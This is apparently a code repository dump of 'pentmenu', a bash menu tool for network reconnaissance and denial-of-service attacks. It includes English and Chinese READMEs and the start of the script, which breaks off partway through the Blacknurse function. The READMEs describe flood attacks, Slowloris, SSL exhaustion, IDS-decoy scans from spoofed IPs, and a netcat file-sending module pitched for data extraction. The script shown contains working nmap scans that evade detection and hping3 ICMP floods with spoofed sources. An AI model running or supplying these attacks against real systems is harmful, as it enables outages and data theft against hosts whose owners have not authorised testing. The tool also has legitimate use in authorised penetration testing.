IP which might make you think script does not work as expected, the source IP *will* be set as specified; review a packet capture of the traffic if in doubt! 109 | Since the source is definable, it is simple to launch a LAND attack for example (see https://en.wikipedia.org/wiki/LAND). The ability to set the source also allows, for example, sending SYN packets to one target and forcing the SYN-ACK responses to a second target. 110 | 111 | 112 | * TCP ACK Flood - offers the same options as the SYN flood, but sets the ACK (Acknowledgement) TCP flag instead. 113 | Some systems will spend excessive CPU cycles processing such packets. If the source IP is set to that of an established connection, it is possible that an estabished connection can be disrupted by this 'blind' TCP ACK Flood. This attack is considered 'blind' because it does not take into account any details of any established connection (like sequence or acknowledgement numbers). 114 | 115 | 116 | * TCP RST Flood - offers the same options as the SYN flood, but sets the RST (Reset) TCP flag instead. 117 | Such an attack could interrupt established connections if the source IP is set to that of an established connection. 118 | See https://en.wikipedia.org/wiki/TCP_reset_attack for example. 119 | 120 | 121 | * TCP XMAS Flood - similar to the SYN and ACK floods, with the same options, but sends packets with all TCP flags set (CWR,ECN,URG,ACK,PSH,RST,SYN,FIN). The packet is considered to be 'lit up like a christmase tree'. Theoretically at least, such a packet requires more resources for the receiver to process than a standard packet. 122 | However, such packets are quite indicative of unusual behaviour (such as an attack) and are usually easily identified by IDS/IDP. 123 | 124 | 125 | * UDP Flood - much like the TCP SYN Flood but instead sends UDP packets to the specified host:port. Like the TCP SYN Flood function, hping3 is used but if it is not found, it attempts to use nmap-nping instead. All options are the same as TCP SYN Flood, except you must specify data to send in the UDP packets. 126 | Again, this is a good way to check switch/router throughput or to test VOIP systems. 127 | 128 | 129 | * SSL DOS - uses OpenSSL to attempt to DOS a target host:port. It does this by opening many connections and causing the server to make expensive handshake calculations. This is not a pretty or elegant piece of code, do not expect it to stop immediately upon pressing 'Ctrl c', but it can be brutally effective. 130 | The option for client renegotiation is given; if the target server supports client initiated renegotiation, this option should be chosen. 131 | Even if the target server does not support client renegotiation (for example CVE-2011-1473), it is still possible to impact/DOS the server with this attack. 132 | It is very useful to run this against loadbalancers/proxies/SSL-enabled servers (not just HTTPS, but any SSL or TLS encrypted service!) to see how they cope under the strain. 133 | 134 | 135 | * Slowloris - uses netcat to slowly send HTTP Headers to the target host:port with the intention of starving it of resources. This is effective against many, although not all, HTTP servers, provided the connections can be held open for long enough. Therefore this attack is only effective if the server does not limit the time available to send a complete HTTP request. 136 | Some implementations of this attack use clearly identifiable headers which is not the case here. The number of connections to open to the target is configurable. 137 | The interval between sending each header line is configurable, with the default being a random value between 5 and 15 seconds. The idea is to send headers slowly, but not so slow that the servers idle timeout closes the connection. For example, if we send one header line every 900 seconds, the likelyhood is that the server will have closed the connection long before we send a second header line. 138 | The option to use SSL (SSL/TLS) is given, which requires stunnel and allows the attack to be used against a HTTPS server. You don't use the SSL option against a plain HTTP server. 139 | 140 | Defences against this attack include (but are not limited to): 141 | 142 | Limiting the number of TCP connections per client; this will prevent a single machine from making the server unavailable, but is not effective if say, 10,000 clients launch the attack simultaneously. Additionally, such a defensive measure may negatively impact multiple (legitimate) clients operating behind a forward proxy server. 143 | 144 | Limiting the time available to send a complete HTTP request; this is effective since the attack relies on slowly sending headers to the server (the server should await all headers from the client before responding). If the server limits the time for receiving all headers of a request to 10 seconds (for example) it will severely limit the effectiveness of the attack. It is possible that such a measure will prevent legitimate clients over slow/lossy connections from accessing the site. 145 | 146 | 147 | * IPsec DOS - uses ike-scan to attempt to flood the specified IP with Main mode and Aggressive mode Phase 1 packets from random source IP's. Use the IPsec Scan module to identify the presence of an IPsec VPN server. 148 | 149 | 150 | * Distraction Scan - this is not really a DOS attack but simply launches multiple TCP SYN scans, using hping3, from a spoofed IP of your choosing (such as the IP of your worst enemy). It is designed to be an obvious scan in order to trigger any lDS/IPS the target may have and so hopefully obscure any actual scan or other action that you may be carrying out. 151 | 152 | 153 | * DNS NXDOMAIN Flood - this attack uses the netcat and is designed to stress test your DNS server by sending a flood of DNS queries for (mostly) non-existent domains as well as some malformed DNS requests. When run against a recursive DNS server it tries to tie up the server and fill the cache with negative responses, slowing/preventing legitimate queries. Works best launched from multiple attacking clients. Use 'Ctrl c' to stop the attack. 154 | 155 | 156 | **EXTRACTION MODULES** 157 | 158 | * Send File - This module uses netcat to send data with TCP or UDP. It can be extremely useful for extracting data. 159 | An md5 and sha512 checksum is calculated and displayed prior to sending the file. 160 | The file can be sent to a server of your choice; the Listener is designed to receive these files. 161 | 162 | 163 | * Listener - uses netcat to open a listener on a configurable TCP or UDP port. This can be useful for testing syslog connectivity, receive files or checking for active scanning on the network. Anything received by the listener is written out to ./pentmenu.listener.out or a file of your choice. 164 | When receiving files over UDP, the listener must be manually closed with 'Ctrl C'. This is because we have to force netcat to stay open to receive multiple packets, since UDP is a connectionless protocol. 165 | When receiving files over TCP, the connection automatically closes after the client closes their connection (once the file is transferred) and md5 and sha512 checksums are calculated for the received file. 166 | 167 | 168 | ## Disclaimer 169 | 170 | This script is only for responsible, authorised use. You are responsible for your own actions and this script is provided without warranty or guarantee of any kind. The author(s) accept no responsibility or liability on your behalf. 171 | 172 | 173 | ## Also see 174 | 175 | Pentmenu is available as a [package](https://archstrike.org/packages/pentmenu) on Arch Linux. Big love to [ArchStrike](https://archstrike.org/) and [Parrot linux](https://www.parrotsec.org/). 176 | 177 | 178 | ## Donations 179 | 180 | None required, just attribute the author correctly please :) 181 | ``` 182 | 183 | -------------------------------------------------------------------------------- /README.zh-CN.md: -------------------------------------------------------------------------------- 1 | # pentmenu 2 | 3 | **一个能让你进行快速简便网络扫描与DOS攻击的命令菜单** 4 | 5 | 6 | 必要时需要`sudo` 7 | 已在`Debian`与`Arch`下测试通过 8 | 9 | ## 依赖: 10 | 11 | * bash 12 | 13 | * sudo 14 | 15 | * curl 16 | 17 | * netcat(必须支持'-k'选项,推荐openbsd版本) 18 | 19 | * hping3(或者用nping来代替进行洪水攻击) 20 | 21 | * openssl 22 | 23 | * stunnel 24 | 25 | * nmap 26 | 27 | * whois(推荐但不要求) 28 | 29 | * nslookup(或'host') 30 | 31 | * ike-scan 32 | 33 | ## 如何使用? 34 | 35 | 36 | - 下载脚本: 37 | 38 | ``` 39 | $ wget https://raw.githubusercontent.com/GinjaChris/pentmenu/master/pentmenu 40 | ``` 41 | 42 | - 给予运行权限: 43 | 44 | ``` 45 | $ chmod +x ./pentmenu 46 | ``` 47 | 48 | - 运行: 49 | 50 | ``` 51 | $ ./pentmenu 52 | ``` 53 | 54 | 也可以在`https://github.com/GinjaChris/pentmenu/releases`下载最新的发布,解压并运行脚本。 55 | 或者通过git clone: 56 | 57 | ``` 58 | git clone https://github.com/GinjaChris/pentmenu 59 | ``` 60 | 61 | ## 模块相关细节 62 | 63 | **RECON MODULES** 64 | 65 | * Show IP - 使用`curl`来获取您的外网IP。使用`ip a`或`ifconfig`(如果适宜)显示您的本地IP。 66 | 67 | 68 | * DNS Recon - 被动侦查,进行一次DNS查询(基于输入目标的正向或反向查询)并进行一次whois查询。如果whois不可用则使用`ipinfo.io`查询(仅对IP查询有效,域名无效)。 69 | 70 | 71 | * Ping Sweep - 使用`nmap`对目标或网域进行一次 ICMP echo (ping) 操作。 72 | 73 | 74 | * Quick Scan - TCP端口扫描器使用`nmap`通过`TCP SYN`扫描开放端口。Nmap不会在进行TCP扫描前进行ping扫描。这个模块会扫描最常见的1000个端口。这个模块当然可以对单一目标或整个网络进行扫描,但它的确是被设计用于在IP段内识别存活的主机。扫描将会花费很长时间完成,请耐心等待。 75 | 76 | 77 | * Detailed Scan - 使用`nmap`来进行识别存活主机、扫描开放端口、尝试识别系统、探测运行的软件版本。Nmap不会在这部分扫描前进行ping扫描。在此模式下,Nmap默认的`User-Agent`被替换为微软Edge浏览器,以此来避免用过HTTP探测。*所有*的TCP端口(无论对于域名、IP或子网)都将被扫描。同时模块可以扫描一个单一主机或许多主机,它的设计目的是对一个单一系统进行信息获取。扫描将会花费很长时间完成,请耐心等待。 78 | 79 | 80 | * UDPscan - 使用`nmap`扫描开放的UDP端口。*所有*的UDP端口都会被扫描。 81 | 82 | 83 | * Check Server Uptime - 通过使用`hping3`查询开放的TCP端口来估计目标的存活时间。不同机器查询的结果精确度各不相同。并不能对所有的服务器适用。 84 | 85 | 86 | * IPsec Scan - 尝试使用ike-scan和各种第1阶段建议来确定IPsec VPN服务器的存在。此模块任何文字输出,无论被认为是“握手”还是“没有可匹配的提议”,都指向了IPsec VPN服务器的存在。浏览 http://nta-monitor.com/wiki/index.php/Ike-scan_User_Guide 来了解ike-scan和 VPN phase 1. 87 | 88 | 89 | **DOS MODULES** 90 | 91 | * ICMP Echo Flood - 通过`hping3`发送传统ICMP Echo flood攻击目标。对于现代系统可能收获不大,但对于通过攻击防火墙来测试他们反应来说很有效。`Ctrl+C`停止攻击。 92 | 洪水攻击包的来源地址是可以设置的。注意目标可以是一个IP地址(如127.0.0.1)或一个域名(如localhost.localnet.com)。目标*不要*包含协议(如http://localhost.localnet.com )。 93 | 94 | 95 | * ICMP Blcknurse Flood - 使用`hping3`发送ICMP flood攻击目标。这些ICMP 包是“Destination Unreachable, Port Unreachable”类型的。这种攻击可能会对某些系统造成CPU大量占用的情况。使用`Ctrl+C`停止攻击。浏览 http://blacknurse.dk/ 获取更多相关信息。洪水攻击包的来源地址是可以设置的。 96 | 97 | 98 | * TCP SYN Flood - 通过`hping3`发送TCP SYN洪水攻击。如果没有找到`hping3`,它会尝试使用 `nmap-nping`来代替。Hping3因为其尽可能多的发包而被推荐。您可以在选项中使用您自己的IP发包、使用指定的某个IP(比如用来恶作剧)或对每一个包使用随机源IP(滑稽~)。 99 | 作为可选功能,您可以向每个SYN包加入数据。所有的SYN包设置了分片并使用hping的16字节虚拟MTU,用于保证包的分片。 100 | 使用`nmap-nping`意味着将会每秒发送X个包直到Y个包已被发送,并且只支持使用自己的IP或指定的IP。 101 | TCP SYN 洪水不太可能使服务器宕机,但用来测试交换机、防火墙设备稳定性会非常不错。 102 | 请注意hping会同时报告出口与IP,这有可能会使您以为脚本没有按照预期运行,实际上源IP*会*被正确的设置,如果您存疑请查看抓包的数据。 103 | 因为其源IP可以被设置,所以很容易就可进行 LAND 攻击(浏览https://en.wikipedia.org/wiki/LAND 了解相关)。源IP可控的能力同样可以使得发送SYN包去目标并迫使目标向第二个目标发送SYN-ACK包。 104 | 105 | 106 | * TCP ACK Flood - 提供与SYN flood相同的选项,不过设置的是ACK TCP标志。 107 | 有的系统可能会花费过多的CPU资源循环处理这类包。如果源IP被设置为来自某一个已经稳定建立的连接,那个已经稳定的连接可能会被攻击至中断。这种攻击被认为是“盲打”是因为它没有考虑任何已建立连接的任何细节(如顺序或已经确认的数量)。 108 | 109 | 110 | * TCP RST Flood - 提供与SYN flood相同的选项, 不过设置的是RST TCP 标志。 111 | 如果源IP被设置为来自一个已经稳定建立的连接,该连接会被中断。 112 | 浏览 https://en.wikipedia.org/wiki/TCP_reset_attack 了解相关。 113 | 114 | 115 | * TCP XMAS Flood - 与SYN洪水和ACK洪水相似,拥有相同的选项,但发送所有TCP标志(CWR、ECN、URG、ACK、PSH、RST、SYN、FIN)。这种包被认为是“组装得像一棵圣诞树”。至少从理论上来说,接收者需要花费比标准形式包更多的资源来处理这种包。 116 | 然而这种包指向了一种不寻常的行为(如攻击)并且会被入侵检测系统轻易地识别。 117 | 118 | 119 | * UDP Flood - 很像TCP SYN Flood但对于指定目标:端口发送UDP包。与TCP SYN Flood函数相同,使用`hping3`并在没有找到时使用`nmap-nping`作为替代。所有的选项与TCP SYN Flood相同,除了你必须指定UDP包的内容。 120 | 再次声明,这对测试交换机或VOIP系统来说是个好的方法。 121 | 122 | 123 | * SSL DOS - 使用`OpenSSL`来尝试对目标的端口进行拒绝服务攻击。原理是建立许多连接并使服务器进行许多代价昂贵的握手计算操作。这段代码写的并不好看,所以不要期望它在您按下`Ctrl+C`后能够立即停止,但它的效率十分残酷。 124 | 脚本提供关于客户端重连的选项,如果目标服务器支持客户端发起的重连,您就应该启用该选项。 125 | 就算目标服务器不支持以上特性(如CVE-2011-1473),它仍然有可能影响或使服务器拒绝服务。 126 | 用这种方法攻击负载均衡服务器、代理服务器或启用SSL的服务器(不只是HTTPS,只要是任何SSL或TLS加密的服务)来观察它们如何应对压力是非常有效的。 127 | 128 | 129 | * Slowloris - 使用`netcat`来缓慢地向目标:端口发送HTTP消息头,目的是使其缺乏资源。它可以对付许多(可惜不是所有)HTTP服务器,使得连接可以保持足够长的时间。因此这种攻击只能对没有限制能够完整发送HTTP请求的时间的服务器有足够效果。 130 | 有一些对这种攻击的执行使用了可以清楚识别的消息头,本脚本进行这样的操作。此外,与目标进行的连接数是可以设置的。 131 | 发送每一行消息头之间的间隔是可以设置的,默认随机在5到15秒之间。思路是缓慢地发送包,但不是太慢以至于服务器超时而终止连接。举个例子,如果我们每900秒发送一行消息头,服务器很有可能远在我们发送下一行之前就终止这个连接。 132 | 您可以选择是否使用SSL(SSL或TLS),这将需要使用到`stunnel`并使得攻击HTTPS可行。您不能在攻击明文HTTP服务器时选择使用SSL选项。 133 | 对于这种攻击的防御方式包括但不限于: 134 | 1. 限制每个客户端可进行的TCP连接。这可以防止单一的一台机器就使服务器不可用,但如果像100000个客户端同时进行攻击的话,这样做就并不效率。并且,这种防御方式可能会对多个客户端(合法地)通过同一个远端代理服务器进行的操作产生消极的影响。 135 | 2. 限制能够完整发送HTTP请求的时间,这很有效,对于攻击依赖于向服务器缓慢地发送消息头(服务器要在响应前接收所有的消息头)。如果服务器限制了最大接收所有消息头的时间为10秒(为例),那将会严重限制这种攻击能够产生的影响。这种操作可能会阻止合法的客户端通过缓慢或丢包严重的连接来访问网站。 136 | 137 | 138 | * IPsec DOS - 使用`ike-scan`来尝试对指定的IP进行洪水攻击,可使用随机源IP的主模式和积极模式第一步包。使用IPsec Scan模组来确定IPsec VPN服务器的存在。 139 | 140 | 141 | * Distraction Scan - 这实际上并不是一种DOS攻击,它只是用`hping3`进行许多的TCP SYN扫描(用您恶意指定的源IP,比如您最大的敌人)。它被设计来进行很明显的扫描来引起入侵检测系统的注意并期望掩盖其他实际扫描以及您的其他操作。 142 | 143 | 144 | * DNS NXDOMAIN Flood - 这种攻击使用`dig`并且被设计用来发送大量对不存在域名的查询压测您的DNS服务器。当对递归查询的DNS服务器使用时,它会增加服务器负载并使缓存中充满无用的响应,使得对合法请求的响应变慢或终止。攻击最好在多个客户端上进行。使用`Ctrl+C`来停止攻击。 145 | 146 | 147 | **EXTRACTION MODULES** 148 | 149 | * Send File - 这个模块使用`netcat`发送TCP或UDP数据。对于提取数据十分有用。 150 | Md5和sha512校验码在发送文件前会被计算并显示。 151 | 文件可以被发送至您想要的服务器,Listener被用来接收这些文件。 152 | 153 | 154 | * Listener - 使用`netcat`在指定的TCP或UDP端口打开一个监听器。对于测试系统日志的连接度、接收文件或探测网络中的扫描很有用。所有接收到的数据会被写入到`./pentmenu.listener.out`或您指定的文件。 155 | 如果您在UDP端口接收文件,监听器必须手动`Ctrl+C`关闭。因为我们必须强制令netcat保持开放(UDP是无连接协议)。 156 | 如果您在TCP端口接收文件,连接会在客户端终止发送(文件传输完成)后自动关闭,并且md5和sha512校验码会自动计算并显示。 157 | 158 | 159 | ## 免责声明 160 | 161 | 这个脚本仅能被授权并负责地使用。您必须对您的行为负责,脚本不提供任何承诺或保障。作者(们)对您的行为没有任何责任和法律义务。 162 | 163 | 164 | ## 另外 165 | 166 | Pentmenu 目前在 Arch Linux 中作为一个可用的[软件包](https://archstrike.org/packages/pentmenu)。向[ArchStrike](https://archstrike.org/) 和[Parrot linux](https://www.parrotsec.org/) 表明我的热爱。 167 | 168 | 169 | ## 打赏 170 | 171 | 您可以通过加密货币打赏: 172 | 173 | 174 | Bitcoin: 175 | ``` 176 | bc1q96r5gr35qeah3q8asme63zhusjrfx6vg9jnaf5 177 | ``` 178 | -------------------------------------------------------------------------------- /pentmenu: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #set the prompt to show you are in pentmenu and not standard shell 3 | PS3="Pentmenu>" 4 | 5 | ##MAINMENU## 6 | ################## 7 | ##START MAINMENU## 8 | mainmenu() 9 | { 10 | #build a main menu using bash select 11 | #from here, the various sub menus can be selected and from them, modules can be run 12 | mainmenu=("Recon" "DOS" "Extraction" "View Readme" "Quit") 13 | select opt in "${mainmenu[@]}"; do 14 | if [ "$opt" = "Quit" ]; then 15 | echo "Quitting...Thank you for using pentmenu!" && sleep 1 && clear 16 | exit 0 17 | elif [ "$opt" = "Recon" ]; then 18 | reconmenu 19 | elif [ "$opt" = "DOS" ]; then 20 | dosmenu 21 | elif [ "$opt" = "Extraction" ]; then 22 | extractionmenu 23 | elif [ "$opt" = "View Readme" ]; then 24 | showreadme 25 | else 26 | #if no valid option is chosen, chastise the user 27 | echo "That's not a valid option! Hit Return to show main menu" 28 | fi 29 | done 30 | } 31 | ##END MAINMENU## 32 | ################ 33 | ##/MAINMENU## 34 | 35 | 36 | ##RECON## 37 | ################### 38 | ##START RECONMENU## 39 | reconmenu() 40 | { 41 | #build a menu for the recon modules using bash select 42 | reconmenu=("Show IP" "DNS Recon" "Ping Sweep" "Quick Scan" "Detailed Scan" "UDP Scan" "Check Server Uptime" "IPsec Scan" "Go back") 43 | select reconopt in "${reconmenu[@]}"; do 44 | #show external IP & interface IP(s) 45 | if [ "$reconopt" = "Show IP" ]; then 46 | showip 47 | #DNS Recon 48 | elif [ "$reconopt" = "DNS Recon" ]; then 49 | dnsrecon 50 | #Ping Sweep 51 | elif [ "$reconopt" = "Ping Sweep" ]; then 52 | pingsweep 53 | #Recon Network 54 | elif [ "$reconopt" = "Quick Scan" ]; then 55 | quickscan 56 | #Stealth Scan 57 | elif [ "$reconopt" = "Detailed Scan" ]; then 58 | detailedscan 59 | #UDP Scan 60 | elif [ "$reconopt" = "UDP Scan" ]; then 61 | udpscan 62 | #Check uptime of server 63 | elif [ "$reconopt" = "Check Server Uptime" ]; then 64 | checkuptime 65 | #IPsec Scan 66 | elif [ "$reconopt" = "IPsec Scan" ]; then 67 | ipsecscan 68 | #Go back 69 | elif [ "$reconopt" = "Go back" ]; then 70 | mainmenu 71 | ## Default if no menu option selected is to return an error 72 | else 73 | echo "That's not a valid option! Hit Return to show menu" 74 | fi 75 | done 76 | } 77 | ##END RECONMENU## 78 | ################# 79 | 80 | ################ 81 | ##START SHOWIP## 82 | showip() 83 | { echo "External IP lookup uses curl..." 84 | echo "External IP is detected as:" 85 | #use curl to lookup external IP 86 | curl https://icanhazip.com/s/ 87 | echo "" 88 | echo "" 89 | #show interface IP's 90 | echo "Interface IP's are:" 91 | ip a|grep inet 92 | #if ip a command fails revert to ifconfig 93 | if ! [[ $? = 0 ]]; then 94 | ifconfig|grep inet 95 | fi 96 | echo "" 97 | } 98 | ##END SHOWIP## 99 | ############## 100 | 101 | ################## 102 | ##START DNSRECON## 103 | dnsrecon() 104 | { echo "This module performs passive recon via forward/reverse name lookups for the target (as appropriate) and performs a whois lookup" 105 | echo "Enter target:" 106 | #need a target IP/hostname to check 107 | read -i $TARGET -e TARGET 108 | host $TARGET 109 | #if host command doesnt work try nslookup instead 110 | if ! [[ $? = 0 ]]; then 111 | nslookup $TARGET 112 | fi 113 | #run a whois lookup on the target 114 | sleep 1 && whois -H $TARGET 115 | if ! [[ $? = 0 ]]; then 116 | #if whois fails, do a curl lookup to ipinfo.io 117 | sleep 1 && curl ipinfo.io/$TARGET 118 | fi 119 | } 120 | ##END DNSRECON## 121 | ################ 122 | 123 | ################### 124 | ##START PINGSWEEP## 125 | pingsweep() 126 | { echo "This module performs a simple ICMP echo 'ping' sweep" 127 | echo "Please enter the target (e.g. 192.168.1.0/24):" 128 | #need to know the subnet to scan for live hosts using pings 129 | read -i $TARGET -e TARGET 130 | #launch ping sweep using nmap 131 | #this could be done with ping command, but that is extremely difficult to code in bash for unusual subnets so we use nmap instead 132 | sudo nmap -sP -PE $TARGET --reason 133 | } 134 | ##END PINGSWEEP## 135 | ################# 136 | 137 | ###################### 138 | ##START QUICKSCAN## 139 | quickscan() 140 | { echo "This module conducts a scan using nmap" 141 | echo "It is designed to scan an entire network for common open ports" 142 | echo "It will perform a TCP SYN port scan of the 1000 most common ports" 143 | echo "Depending on the target, the scan might take a long time to finish" 144 | echo "Please enter the target host/IP/subnet:" 145 | #we need to know where to scan. Whilst a hostname is possible, this module is designed to scan a subnet range 146 | read -i $TARGET -e TARGET 147 | echo "Enter the speed of scan (0 means very slow and 5 means fast). 148 | Slower scans are more subtle, but faster means less waiting around. 149 | Default is 3:" 150 | #How fast should we scan the target? 151 | #Faster speed is more likely to be detected by IDS, but is less waiting around 152 | read -i $SPEED -e SPEED 153 | : ${SPEED:=3} 154 | #launch the scan 155 | sudo nmap -Pn -sS -T $SPEED $TARGET --reason 156 | } 157 | ## END QUICKSCAN## 158 | ##################### 159 | 160 | ##################### 161 | ##START DETAILEDSCAN## 162 | detailedscan() 163 | { echo "This module performs a scan using nmap" 164 | echo "It is designed to perform a detailed scan of a specific host but can be used against an entire network" 165 | echo "This scans ALL ports on the target. It also attempts OS detection and gathers service information" 166 | echo "This scan might take a very long time to finish, please be patient" 167 | echo "Enter the hostname/IP/subnet to scan:" 168 | #need a target hostname/IP 169 | read -i $TARGET -e TARGET 170 | echo "Enter the speed of scan (0 means very slow and 5 means fast). 171 | Slower scans are more subtle, but faster means less waiting around. 172 | Default is 3:" 173 | #How fast should we scan the target? 174 | #Faster speed is more likely to be detected by IDS, but is less waiting around 175 | read -i $SPEED -e SPEED 176 | : ${SPEED:=3} 177 | #scan using nmap. Note the change in user-agent from the default nmap value to help avoid detection 178 | sudo nmap -script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43" -Pn -p 1-65535 -sV -sC -A -O -T $SPEED $TARGET --reason 179 | } 180 | ##END DETAILEDSCAN## 181 | ################### 182 | 183 | ################# 184 | ##START UDPSCAN## 185 | udpscan() 186 | { echo "This module lets you scan a host/network for open UDP ports" 187 | echo "It scans ALL ports on the target system. This may take some time, please be patient" 188 | echo "Enter the host/subnet to scan:" 189 | #need a target IP/hostname 190 | read -i $TARGET -e TARGET 191 | #How fast should we scan the target? 192 | #Faster speed is more likely to be detected by IDS, but is less waiting around 193 | echo "Enter the speed of scan (0 means very slow and 5 means fast). 194 | Slower scans are more subtle, but faster means less waiting around. 195 | Default is 3:" 196 | read -i $SPEED -e SPEED 197 | : ${SPEED:=3} 198 | #launch the scan using nmap 199 | sudo nmap -Pn -p 1-65535 -sU -T $SPEED $TARGET --reason 200 | } 201 | ##END UDPSCAN## 202 | ############### 203 | 204 | ##################### 205 | ##START CHECKUPTIME## 206 | checkuptime() 207 | { echo "This module will attempt to estimate the uptime of a given server, using hping3" 208 | echo "This is not guaranteed to work" 209 | echo "Enter your target:" 210 | #need a target IP/hostname 211 | read -i $TARGET -e TARGET 212 | #need a target port 213 | echo "Enter port (default is 80):" 214 | read -i $PORT -e PORT 215 | : ${PORT:=80} 216 | #check a valid integer is given for the port, anything else is invalid 217 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 218 | PORT=80 && echo "Invalid port, reverting to port 80" 219 | elif [ "$PORT" -lt "1" ]; then 220 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 221 | elif [ "$PORT" -gt "65535" ]; then 222 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 223 | else echo "Using Port $PORT" 224 | fi 225 | #how many times to retry the check? 226 | echo "Retries? (3 is ideal and default, 2 might also work)" 227 | read -i $RETRY -e RETRY 228 | : ${RETRY:=3} 229 | echo "Starting.." 230 | #use hping3 and enable the TCP timestamp option, and try to guess the timestamp update frequency and the remote system uptime. 231 | #this might not work, but sometimes it does work very well 232 | sudo hping3 --tcp-timestamp -S $TARGET -p $PORT -c $RETRY | grep uptime 233 | echo "Done." 234 | } 235 | ##END CHECKUPTIME## 236 | ################### 237 | 238 | #################### 239 | ##START IPSEC SCAN## 240 | ipsecscan() 241 | { echo "Please enter the target hostname or IP:" 242 | #we need to know where to scan 243 | read -i $TARGET -e TARGET 244 | # Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256 245 | ENCLIST="1 5 7/128 7/192 7/256" 246 | # Hash algorithms: MD5, SHA1, SHA-256, SHA-384 and SHA-512 247 | HASHLIST="1 2 4 5 6" 248 | # Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH 249 | AUTHLIST="1 3 64221 65001" 250 | # Diffie-Hellman groups: 1, 2, 5 and 12 251 | GROUPLIST="1 2 5 12" 252 | for ENC in $ENCLIST; do 253 | for HASH in $HASHLIST; do 254 | for AUTH in $AUTHLIST; do 255 | for GROUP in $GROUPLIST; do 256 | sudo echo "--trans=$ENC,$HASH,$AUTH,$GROUP" | sudo xargs --max-lines=8 ike-scan --retry=1 -R -M $TARGET | grep -v "Starting" | grep -v "0 returned handshake; 0 returned notify" 257 | done 258 | done 259 | done 260 | done 261 | } 262 | ##END IPSECSCAN## 263 | ################# 264 | ##/RECON## 265 | ############# 266 | 267 | 268 | ##DOS## 269 | ################# 270 | ##START DOSMENU## 271 | dosmenu() 272 | { 273 | #display a menu for the DOS module using bash select 274 | dosmenu=("ICMP Echo Flood" "ICMP Blacknurse" "TCP SYN Flood" "TCP ACK Flood" "TCP RST Flood" "TCP XMAS Flood" "UDP Flood" "SSL DOS" "Slowloris" "IPsec DOS" "Distraction Scan" "DNS NXDOMAIN Flood" "Go back") 275 | select dosopt in "${dosmenu[@]}"; do 276 | #ICMP Echo Flood 277 | if [ "$dosopt" = "ICMP Echo Flood" ]; then 278 | icmpflood 279 | #ICMP Blacknurse 280 | elif [ "$dosopt" = "ICMP Blacknurse" ]; then 281 | blacknurse 282 | #TCP SYN Flood DOS 283 | elif [ "$dosopt" = "TCP SYN Flood" ]; then 284 | synflood 285 | #TCP ACK Flood 286 | elif [ "$dosopt" = "TCP ACK Flood" ]; then 287 | ackflood 288 | #TCP RST Flood 289 | elif [ "$dosopt" = "TCP RST Flood" ]; then 290 | rstflood 291 | #TCP XMAS Flood 292 | elif [ "$dosopt" = "TCP XMAS Flood" ]; then 293 | xmasflood 294 | #UDP Flood 295 | elif [ "$dosopt" = "UDP Flood" ]; then 296 | udpflood 297 | #SSL DOS 298 | elif [ "$dosopt" = "SSL DOS" ]; then 299 | ssldos 300 | #Slowloris 301 | elif [ "$dosopt" = "Slowloris" ]; then 302 | slowloris 303 | #IPsec DOS 304 | elif [ "$dosopt" = "IPsec DOS" ]; then 305 | ipsecdos 306 | #Distraction scan 307 | elif [ "$dosopt" = "Distraction Scan" ]; then 308 | distractionscan 309 | #DNS NXDOMAIN Flood 310 | elif [ "$dosopt" = "DNS NXDOMAIN Flood" ]; then 311 | nxdomainflood 312 | #Go back 313 | elif [ "$dosopt" = "Go back" ]; then 314 | mainmenu 315 | else 316 | #Default if no valid menu option selected is to return an error 317 | echo "That's not a valid option! Hit Return to show menu" 318 | fi 319 | done 320 | } 321 | ##END DOSMENU## 322 | ############### 323 | 324 | ################### 325 | ##START ICMPFLOOD## 326 | icmpflood() 327 | { 328 | echo "Preparing to launch ICMP Echo Flood using hping3" 329 | echo "Enter target IP/hostname:" 330 | #need a target IP/hostname 331 | read -i $TARGET -e TARGET 332 | #What source address to use? Manually defined, or random, or outgoing interface IP? 333 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 334 | read -i $SOURCE -e SOURCE 335 | : ${SOURCE:=i} 336 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 337 | echo "Starting ICMP echo Flood. Use 'Ctrl c' to end and return to menu" 338 | sudo hping3 -1 --flood --spoof $SOURCE $TARGET 339 | elif [ "$SOURCE" = "r" ]; then 340 | echo "Starting ICMP Echo Flood. Use 'Ctrl c' to end and return to menu" 341 | sudo hping3 -1 --flood --rand-source $TARGET 342 | elif [ "$SOURCE" = "i" ]; then 343 | echo "Starting ICMP Echo Flood. Use 'Ctrl c' to end and return to menu" 344 | sudo hping3 -1 --flood $TARGET 345 | else echo "Not a valid option! Using interface IP" 346 | echo "Starting ICMP Echo Flood. Use 'Ctrl c' to end and return to menu" 347 | sudo hping3 -1 --flood $TARGET 348 | fi 349 | } 350 | ##END ICMPFLOOD## 351 | ################# 352 | 353 | #################### 354 | ##START BLACKNURSE## 355 | blacknurse() 356 | { 357 | echo "Preparing to launch ICMP Blacknurse Flood using hping3" 358 | echo "Enter target IP/hostname:" 359 | #need a target IP/hostname 360 | read -i $TARGET -e TARGET 361 | #What source address to use? Manually defined, or random, or outgoing interface IP? 362 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 363 | read -i $SOURCE -e SOURCE 364 | : ${SOURCE:=i} 365 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 366 | echo "Starting Blacknurse Flood. Use 'Ctrl c' to end and return to menu" 367 | sudo hping3 -1 -C 3 -K 3 --flood --spoof $SOURCE $TARGET 368 | elif [ "$SOURCE" = "r" ]; then 369 | echo "Starting Blacknurse Flood. Use 'Ctrl c' to end and return to menu" 370 | sudo hping3 -1 -C 3 -K 3 --flood --rand-source $TARGET 371 | elif [ "$SOURCE" = "i" ]; then 372 | echo "Starting Blacknurse Flood. Use 'Ctrl c' to end and return to menu" 373 | sudo hping3 -1 -C 3 -K 3 --flood $TARGET 374 | else echo "Not a valid option! Using interface IP" 375 | echo "Starting Blacknurse Flood. Use 'Ctrl c' to end and return to menu" 376 | sudo hping3 -1 -C 3 -K 3 --flood $TARGET 377 | 